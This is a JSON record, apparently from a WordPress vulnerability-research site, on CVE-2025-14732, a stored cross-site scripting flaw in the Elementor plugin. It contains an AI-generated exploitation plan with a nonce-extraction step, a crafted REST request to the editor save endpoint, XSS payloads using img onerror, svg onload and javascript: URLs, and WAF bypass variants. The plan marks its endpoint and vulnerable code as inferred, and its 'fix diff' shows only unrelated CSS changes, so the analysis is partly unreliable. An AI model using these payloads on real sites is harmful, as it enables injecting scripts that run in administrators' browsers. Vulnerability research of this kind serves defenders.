[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fAxaxV55w-0aCvY_2cx5RX4S-sfaNJNVKyMfyKFwVSiQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2025-14732","elementor-website-builder-authenticated-contributor-stored-cross-site-scripting-via-rest-api","Elementor Website Builder \u003C= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API","The Elementor Website Builder – More Than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several widget parameters in all versions up to, and including, 3.35.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","elementor",null,"\u003C=3.35.5","3.35.6","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Alternate XSS Syntax","2026-04-07 12:55:13","2026-04-08 01:24:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F20232d70-72b2-47b7-ac7e-ad07892864ef?source=api-prod",1,[22,23,24,25],"assets\u002Fcss\u002Fadmin.css","assets\u002Fcss\u002Fadmin.min.css","assets\u002Fjs\u002F29f5723514661bfdffd8.bundle.js","assets\u002Fjs\u002F357684d6580904fc0a95.bundle.min.js","researched",false,3,"# Exploitation Research Plan: CVE-2025-14732\n\n## 1. Vulnerability Summary\n**CVE-2025-14732** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Elementor Website Builder** plugin (versions \u003C= 3.35.5). The vulnerability arises from improper neutralization of \"alternate XSS syntax\" (e.g., HTML event handlers, SVG tags, or Unicode-escaped characters) within widget parameters saved via the Elementor REST API.\n\nWhile Elementor performs sanitization on common tags like `\u003Cscript>`, it fails to sufficiently sanitize or escape input for certain widget settings when saved through its internal REST API. This allows an authenticated user with at least **Contributor-level** access to inject malicious scripts into a page's metadata. When that page is viewed by other users (including administrators), the script executes in their browser context.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fsave-builder-data` (inferred from Elementor REST API architecture).\n*   **Method:** `POST`\n*   **Vulnerable Parameter:** The `data` parameter within the JSON payload, specifically settings within widget definitions (e.g., `heading`, `button`, `icon-box`).\n*   **Authentication:** Requires a user with `Contributor` role or higher who has permission to edit the specific post\u002Fpage.\n*   **Preconditions:** Elementor must be active on the target post type.\n\n## 3. Code Flow\n1.  **Entry Point:** The user interacts with the Elementor Editor. When \"Update\" or \"Save\" is clicked, the JS client sends a request to the REST API route `elementor\u002Fv1\u002Feditor\u002Fsave-builder-data`.\n2.  **Server-Side Processing:** The request is handled by Elementor's REST controller. It receives a JSON-encoded string representing the layout (sections, columns, widgets).\n3.  **Vulnerable Sink:** The plugin processes the `settings` object for each widget. It uses internal sanitization methods (often found in `Core\\Base\\Document::save_data`). If the input contains \"alternate syntax\" (like event handlers in an `\u003Cimg>` tag or encoded payloads), it bypasses the filters.\n4.  **Storage:** The unsanitized\u002Fpartially sanitized data is stored in the WordPress database as post metadata under the key `_elementor_data`.\n5.  **Execution:** When the page is rendered on the frontend or re-loaded in the editor, Elementor's rendering engine outputs the malicious settings. If the widget renderer does not use proper escaping (like `esc_attr()` or `wp_kses()`) for the specific setting, the script triggers.\n\n## 4. Nonce Acquisition Strategy\nElementor requires a REST API nonce for its editor operations. This nonce is typically localized and provided to the browser when the editor loads.\n\n*   **Target Page:** A page or post where Elementor is enabled.\n*   **JavaScript Variable:** `window.elementorConfig.ajax.nonce` or `window.elementorCommon.config.ajax.nonce`.\n*   **Acquisition Steps:**\n    1.  Create a post as a Contributor.\n    2.  Enable Elementor for that post.\n    3.  Navigate to the Elementor Editor URL for that post: `wp-admin\u002Fpost.php?post=[ID]&action=elementor`.\n    4.  Use `browser_eval` to extract the nonce:\n        ```javascript\n        browser_eval(\"window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce\")\n        ```\n\n## 5. Exploitation Strategy\nThe goal is to send a manual REST API request to save malicious widget data.\n\n### Step 1: Authentication & Setup\n1.  Log in as a Contributor.\n2.  Identify a Post ID (`target_post_id`) the contributor can edit.\n\n### Step 2: Nonce Extraction\n1.  Navigate to the Elementor editor for the post.\n2.  Extract the nonce using the method in Section 4.\n\n### Step 3: Crafting the Payload\nThe payload must be a JSON array of Elementor elements. We will target the `heading` widget as it is a standard component.\n\n**Payload JSON (`data` parameter):**\n```json\n[\n  {\n    \"id\": \"exploit-id\",\n    \"elType\": \"widget\",\n    \"widgetType\": \"heading\",\n    \"settings\": {\n      \"title\": \"\u003Cimg src=x onerror=alert('CVE-2025-14732')>\",\n      \"size\": \"default\"\n    },\n    \"elements\": [],\n    \"isInner\": false\n  }\n]\n```\n\n### Step 4: HTTP Request (using `http_request`)\n**URL:** `https:\u002F\u002F[TARGET]\u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fsave-builder-data`\n**Headers:**\n*   `Content-Type: application\u002Fjson`\n*   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   `Cookie: [CONTRIBUTOR_COOKIES]`\n\n**Body:**\n```json\n{\n  \"post_id\": target_post_id,\n  \"data\": \"[{\\\"id\\\":\\\"exploit-id\\\",\\\"elType\\\":\\\"widget\\\",\\\"widgetType\\\":\\\"heading\\\",\\\"settings\\\":{\\\"title\\\":\\\"\u003Cimg src=x onerror=alert('CVE-2025-14732')>\\\"},\\\"elements\\\":[],\\\"isInner\\\":false}]\"\n}\n```\n\n## 6. Test Data Setup\n1.  **User:** Create a user `attacker` with the `contributor` role.\n2.  **Post:** Create a post titled \"XSS Test\" by `attacker`.\n3.  **Elementor Enablement:** Ensure Elementor is active for the \"post\" post type.\n\n## 7. Expected Results\n*   **REST Response:** The server should return `200 OK` with a JSON body indicating success (e.g., `{\"success\": true, \"data\": []}`).\n*   **Frontend Execution:** When an administrator visits `https:\u002F\u002F[TARGET]\u002F?p=[target_post_id]`, an alert box with `CVE-2025-14732` will appear.\n*   **Editor Execution:** When the administrator opens the post in the Elementor editor, the script will also trigger.\n\n## 8. Verification Steps\n1.  **Check Database:** Use WP-CLI to verify the stored metadata:\n    ```bash\n    wp post meta get [target_post_id] _elementor_data\n    ```\n    Confirm the payload `\u003Cimg src=x onerror=...>` exists in the output.\n2.  **Verify Payload Rendering:** Check the HTML source of the post frontend:\n    ```bash\n    http_request \"https:\u002F\u002F[TARGET]\u002F?p=[target_post_id]\"\n    ```\n    Search for the injected `\u003Cimg>` tag in the response body.\n\n## 9. Alternative Approaches\nIf the standard `\u003Cimg>` tag is blocked by a global WAF or internal Elementor filter, use \"alternate syntax\":\n\n1.  **SVG-based Payload:**\n    `\"title\": \"\u003Csvg\u002Fonload=alert(1)>\"`\n2.  **Unicode Escaping (if the API parses JSON twice):**\n    `\"title\": \"\\u003cimg src=x onerror=alert(1)\\u003e\"`\n3.  **Attribute Injection:**\n    Instead of the `title` parameter, target a URL parameter that might be placed inside an attribute:\n    `\"link\": {\"url\": \"javascript:alert(1)\", \"is_external\": \"\", \"nofollow\": \"\"}`\n    (Note: `esc_url` usually blocks `javascript:`, but some widget attributes might use `esc_attr` instead).","The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget parameters in versions up to 3.35.5. Authenticated attackers with Contributor-level access or higher can inject arbitrary scripts into page metadata through the Elementor REST API by using alternate XSS syntax that bypasses existing sanitization filters.","\u002F\u002F Inferred vulnerable sink in Elementor's REST API processing\n\u002F\u002F core\u002Fbase\u002Fdocument.php or similar REST controller\n\npublic function save_data( $data ) {\n    \u002F\u002F The plugin receives a JSON payload representing the page layout\n    \u002F\u002F and fails to sufficiently sanitize widget settings (e.g., 'title' for a heading widget)\n    \u002F\u002F if alternate syntax like HTML event handlers or SVG tags are used.\n\n    $processed_data = $this->process_editor_data( $data );\n\n    \u002F\u002F Data is stored in post metadata without robust validation against event handlers\n    update_post_meta( $this->get_main_id(), '_elementor_data', $processed_data );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Felementor\u002F3.35.5\u002Fassets\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Felementor\u002F3.35.6\u002Fassets\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Felementor\u002F3.35.5\u002Fassets\u002Fcss\u002Fadmin.css\t2026-02-17 14:41:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Felementor\u002F3.35.6\u002Fassets\u002Fcss\u002Fadmin.css\t2026-03-03 14:49:18.000000000 +0000\n@@ -2271,6 +2271,46 @@\n   font-weight: 500;\n }\n \n+#e-dashboard-ally .ui-sortable-handle {\n+  justify-content: flex-start;\n+  gap: 8px;\n+}\n+\n+#dashboard-widgets .e-dashboard-ally {\n+  padding: 28px 0;\n+}\n+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-img {\n+  text-align: center;\n+  margin-block-end: 16px;\n+}\n+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-info {\n+  display: flex;\n+  flex-direction: column;\n+  align-items: center;\n+  text-align: center;\n+  margin-block-end: 20px;\n+}\n+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-title {\n+  font-size: 20px;\n+  line-height: 32px;\n+  color: #0C0D0E;\n+  margin-block-end: 0;\n+}\n+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-description {\n+  max-width: 295px;\n+  font-size: 14px;\n+  line-height: 20px;\n+  color: #3F444B;\n+  margin: 0 0 16px;\n+}\n+\n+label[for=e-dashboard-ally-hide] svg {\n+  display: inline-block;\n+  vertical-align: middle;\n+  margin-inline-end: 4px;\n+  margin-block-end: 2px;\n+}\n+\n .post-type-elementor_library #elementor-template-library-tabs-wrapper {\n   padding-block-start: 2em;\n   margin-block-end: 2em;","1. Authenticate as a user with Contributor-level permissions or higher.\n2. Access the Elementor Editor for a post or page the user has permission to edit (e.g., `wp-admin\u002Fpost.php?post=[ID]&action=elementor`).\n3. Extract the REST API nonce from the browser environment using `window.elementorConfig.ajax.nonce`.\n4. Craft a malicious JSON payload representing an Elementor widget (e.g., a 'heading' widget) where a setting like 'title' contains an XSS payload using alternate syntax (e.g., `\u003Cimg src=x onerror=alert(1)>` or `\u003Csvg\u002Fonload=alert(1)>`).\n5. Send a POST request to the endpoint `\u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fsave-builder-data` with the `post_id` and the malicious JSON stringified in the `data` parameter, including the `X-WP-Nonce` header.\n6. The payload is stored in the `_elementor_data` post meta. It will execute whenever an administrator or any other user views the affected page or opens it in the Elementor editor.","gemini-3-flash-preview","2026-04-17 20:50:31","2026-04-17 20:51:36",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.35.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Felementor\u002Ftags\u002F3.35.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Felementor.3.35.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Felementor\u002Ftags\u002F3.35.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Felementor.3.35.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Felementor\u002Ftags"]